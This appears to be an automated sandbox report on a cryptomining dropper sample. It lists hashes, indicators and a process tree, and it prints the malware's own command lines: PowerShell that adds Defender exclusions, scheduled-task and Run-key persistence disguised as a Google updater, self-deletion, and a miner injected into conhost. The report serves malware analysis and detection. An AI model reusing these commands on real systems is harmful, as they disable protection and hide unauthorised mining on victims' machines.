Overview
overview
10Static
static
3QNREJhVYDhHk52cq3.exe
windows7-x64
10QNREJhVYDhHk52cq3.exe
windows10-2004-x64
10RmJBfzgfbWELMdgn.exe
windows7-x64
10RmJBfzgfbWELMdgn.exe
windows10-2004-x64
10TTVw7dDmSpz5mwee.exe
windows7-x64
10TTVw7dDmSpz5mwee.exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10qM5GMXBk6h...9).exe
windows7-x64
10qM5GMXBk6h...9).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...3).exe
windows7-x64
10qM5GMXBk6h...3).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...5).exe
windows7-x64
10qM5GMXBk6h...5).exe
windows10-2004-x64
10qM5GMXBk6h...7).exe
windows7-x64
10qM5GMXBk6h...7).exe
windows10-2004-x64
10qM5GMXBk6h...8).exe
windows7-x64
10qM5GMXBk6h...8).exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10Resubmissions
16/01/2024, 20:08
240116-yw2hnahhck 1024/12/2023, 12:16
231224-pfpz9abhcp 1028/08/2023, 15:19
230828-sqmvesca87 1026/08/2023, 15:20
230826-sqz5radd21 1020/08/2023, 00:19
230820-amltvacg48 1020/08/2023, 00:19
230820-amkxjscg46 1020/08/2023, 00:18
230820-al4y2aec9v 1020/08/2023, 00:18
230820-al4m9scg45 1020/08/2023, 00:18
230820-al32qscg44 1020/08/2023, 00:18
230820-al3e7sec9t 10Analysis
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max time kernel
1800s -
max time network
1802s -
platform
windows7_x64 -
resource
win7-20230712-en -
resource tags
arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system -
submitted
20/08/2023, 00:19
Static task
static1
Behavioral task
behavioral1
Sample
QNREJhVYDhHk52cq3.exe
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
QNREJhVYDhHk52cq3.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral3
Sample
RmJBfzgfbWELMdgn.exe
Resource
win7-20230712-en
Behavioral task
behavioral4
Sample
RmJBfzgfbWELMdgn.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral5
Sample
TTVw7dDmSpz5mwee.exe
Resource
win7-20230712-en
Behavioral task
behavioral6
Sample
TTVw7dDmSpz5mwee.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral7
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20230712-en
Behavioral task
behavioral8
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral9
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20230712-en
Behavioral task
behavioral10
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral11
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win7-20230712-en
Behavioral task
behavioral12
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral13
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win7-20230712-en
Behavioral task
behavioral14
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral15
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win7-20230712-en
Behavioral task
behavioral16
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral17
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win7-20230712-en
Behavioral task
behavioral18
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral19
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win7-20230712-en
Behavioral task
behavioral20
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral21
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win7-20230712-en
Behavioral task
behavioral22
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral23
Sample
qM5GMXBk6hJE6Y5e(6).exe
Resource
win7-20230712-en
General
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Target
qM5GMXBk6hJE6Y5e(15).exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2368 created 1220 2368 qM5GMXBk6hJE6Y5e(15).exe 11 PID 2368 created 1220 2368 qM5GMXBk6hJE6Y5e(15).exe 11 PID 2368 created 1220 2368 qM5GMXBk6hJE6Y5e(15).exe 11 PID 2368 created 1220 2368 qM5GMXBk6hJE6Y5e(15).exe 11 PID 2768 created 1220 2768 updater.exe 11 PID 2768 created 1220 2768 updater.exe 11 PID 2768 created 1220 2768 updater.exe 11 PID 2768 created 1220 2768 updater.exe 11 PID 2200 created 1220 2200 conhost.exe 11 PID 2768 created 1220 2768 updater.exe 11 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral17/memory/1292-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-130-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-132-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-134-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-136-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-138-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-140-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-142-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-144-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-146-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-148-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-150-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-157-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-159-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-161-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-163-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-165-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-167-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-169-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-171-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-173-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-175-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-177-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-179-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-186-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-188-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-190-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-192-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1292-194-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 480 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2768 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2872 taskeng.exe -
resource yara_rule behavioral17/memory/1292-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-130-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-132-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-134-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-136-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-138-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-140-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-142-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-144-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-146-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-148-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-150-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-157-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-159-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-161-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-163-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-165-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-167-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-169-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-171-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-173-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-175-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-177-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-179-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-186-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-188-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-190-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-192-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1292-194-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2768 set thread context of 2200 2768 updater.exe 54 PID 2768 set thread context of 1292 2768 updater.exe 55 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e(15).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2936 schtasks.exe 2216 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1652 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 208a9cca08d3d901 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2368 qM5GMXBk6hJE6Y5e(15).exe 2368 qM5GMXBk6hJE6Y5e(15).exe 2228 powershell.exe 2368 qM5GMXBk6hJE6Y5e(15).exe 2368 qM5GMXBk6hJE6Y5e(15).exe 1984 powershell.exe 2368 qM5GMXBk6hJE6Y5e(15).exe 2368 qM5GMXBk6hJE6Y5e(15).exe 2368 qM5GMXBk6hJE6Y5e(15).exe 2368 qM5GMXBk6hJE6Y5e(15).exe 2164 powershell.exe 2768 updater.exe 2768 updater.exe 2756 powershell.exe 2768 updater.exe 2768 updater.exe 2400 powershell.exe 2768 updater.exe 2768 updater.exe 2768 updater.exe 2768 updater.exe 2200 conhost.exe 2200 conhost.exe 2768 updater.exe 2768 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 472 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2228 powershell.exe Token: SeDebugPrivilege 1984 powershell.exe Token: SeDebugPrivilege 2164 powershell.exe Token: SeDebugPrivilege 2756 powershell.exe Token: SeDebugPrivilege 2400 powershell.exe Token: SeDebugPrivilege 2768 updater.exe Token: SeAssignPrimaryTokenPrivilege 1652 WMIC.exe Token: SeIncreaseQuotaPrivilege 1652 WMIC.exe Token: SeSecurityPrivilege 1652 WMIC.exe Token: SeTakeOwnershipPrivilege 1652 WMIC.exe Token: SeLoadDriverPrivilege 1652 WMIC.exe Token: SeSystemtimePrivilege 1652 WMIC.exe Token: SeBackupPrivilege 1652 WMIC.exe Token: SeRestorePrivilege 1652 WMIC.exe Token: SeShutdownPrivilege 1652 WMIC.exe Token: SeSystemEnvironmentPrivilege 1652 WMIC.exe Token: SeUndockPrivilege 1652 WMIC.exe Token: SeManageVolumePrivilege 1652 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1652 WMIC.exe Token: SeIncreaseQuotaPrivilege 1652 WMIC.exe Token: SeSecurityPrivilege 1652 WMIC.exe Token: SeTakeOwnershipPrivilege 1652 WMIC.exe Token: SeLoadDriverPrivilege 1652 WMIC.exe Token: SeSystemtimePrivilege 1652 WMIC.exe Token: SeBackupPrivilege 1652 WMIC.exe Token: SeRestorePrivilege 1652 WMIC.exe Token: SeShutdownPrivilege 1652 WMIC.exe Token: SeSystemEnvironmentPrivilege 1652 WMIC.exe Token: SeUndockPrivilege 1652 WMIC.exe Token: SeManageVolumePrivilege 1652 WMIC.exe Token: SeLockMemoryPrivilege 1292 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 1984 wrote to memory of 2936 1984 powershell.exe 34 PID 1984 wrote to memory of 2936 1984 powershell.exe 34 PID 1984 wrote to memory of 2936 1984 powershell.exe 34 PID 480 wrote to memory of 2956 480 cmd.exe 37 PID 480 wrote to memory of 2956 480 cmd.exe 37 PID 480 wrote to memory of 2956 480 cmd.exe 37 PID 2164 wrote to memory of 2984 2164 powershell.exe 40 PID 2164 wrote to memory of 2984 2164 powershell.exe 40 PID 2164 wrote to memory of 2984 2164 powershell.exe 40 PID 2872 wrote to memory of 2768 2872 taskeng.exe 42 PID 2872 wrote to memory of 2768 2872 taskeng.exe 42 PID 2872 wrote to memory of 2768 2872 taskeng.exe 42 PID 2400 wrote to memory of 2216 2400 powershell.exe 47 PID 2400 wrote to memory of 2216 2400 powershell.exe 47 PID 2400 wrote to memory of 2216 2400 powershell.exe 47 PID 2768 wrote to memory of 2200 2768 updater.exe 54 PID 2288 wrote to memory of 1652 2288 cmd.exe 48 PID 2288 wrote to memory of 1652 2288 cmd.exe 48 PID 2288 wrote to memory of 1652 2288 cmd.exe 48 PID 2768 wrote to memory of 1292 2768 updater.exe 55
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1220
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C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(15).exe"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(15).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2368
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2228
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1984 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2936
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(15).exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:480
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2984
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2756
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2400 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2216
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2648
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2288
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2200
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1292
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2956
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C:\Windows\system32\taskeng.exetaskeng.exe {B674C44E-865F-4BC3-B237-38DE28C72F33} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2872 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2768
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1652
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5c9efa3df6d32f1d1596a96544b26b802
SHA122054e847f1537d2be4556d3fe5461c0a922e4f6
SHA256b93df4d6340eef369ebe42c6773bd7e97ce0cb895c3ca9f6986ac931402992d5
SHA512b4389843c0a13da36c74a1619de5df5f191fd9b15708f199228a07cd4d64724bd83a2017d4a0f1b8be812c7bf3d3939e6d7368afbb2a1460a2f04f2baafe2826
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5c9efa3df6d32f1d1596a96544b26b802
SHA122054e847f1537d2be4556d3fe5461c0a922e4f6
SHA256b93df4d6340eef369ebe42c6773bd7e97ce0cb895c3ca9f6986ac931402992d5
SHA512b4389843c0a13da36c74a1619de5df5f191fd9b15708f199228a07cd4d64724bd83a2017d4a0f1b8be812c7bf3d3939e6d7368afbb2a1460a2f04f2baafe2826
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5T8VOWEYWDU189UQ2996.temp
Filesize7KB
MD5c9efa3df6d32f1d1596a96544b26b802
SHA122054e847f1537d2be4556d3fe5461c0a922e4f6
SHA256b93df4d6340eef369ebe42c6773bd7e97ce0cb895c3ca9f6986ac931402992d5
SHA512b4389843c0a13da36c74a1619de5df5f191fd9b15708f199228a07cd4d64724bd83a2017d4a0f1b8be812c7bf3d3939e6d7368afbb2a1460a2f04f2baafe2826
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6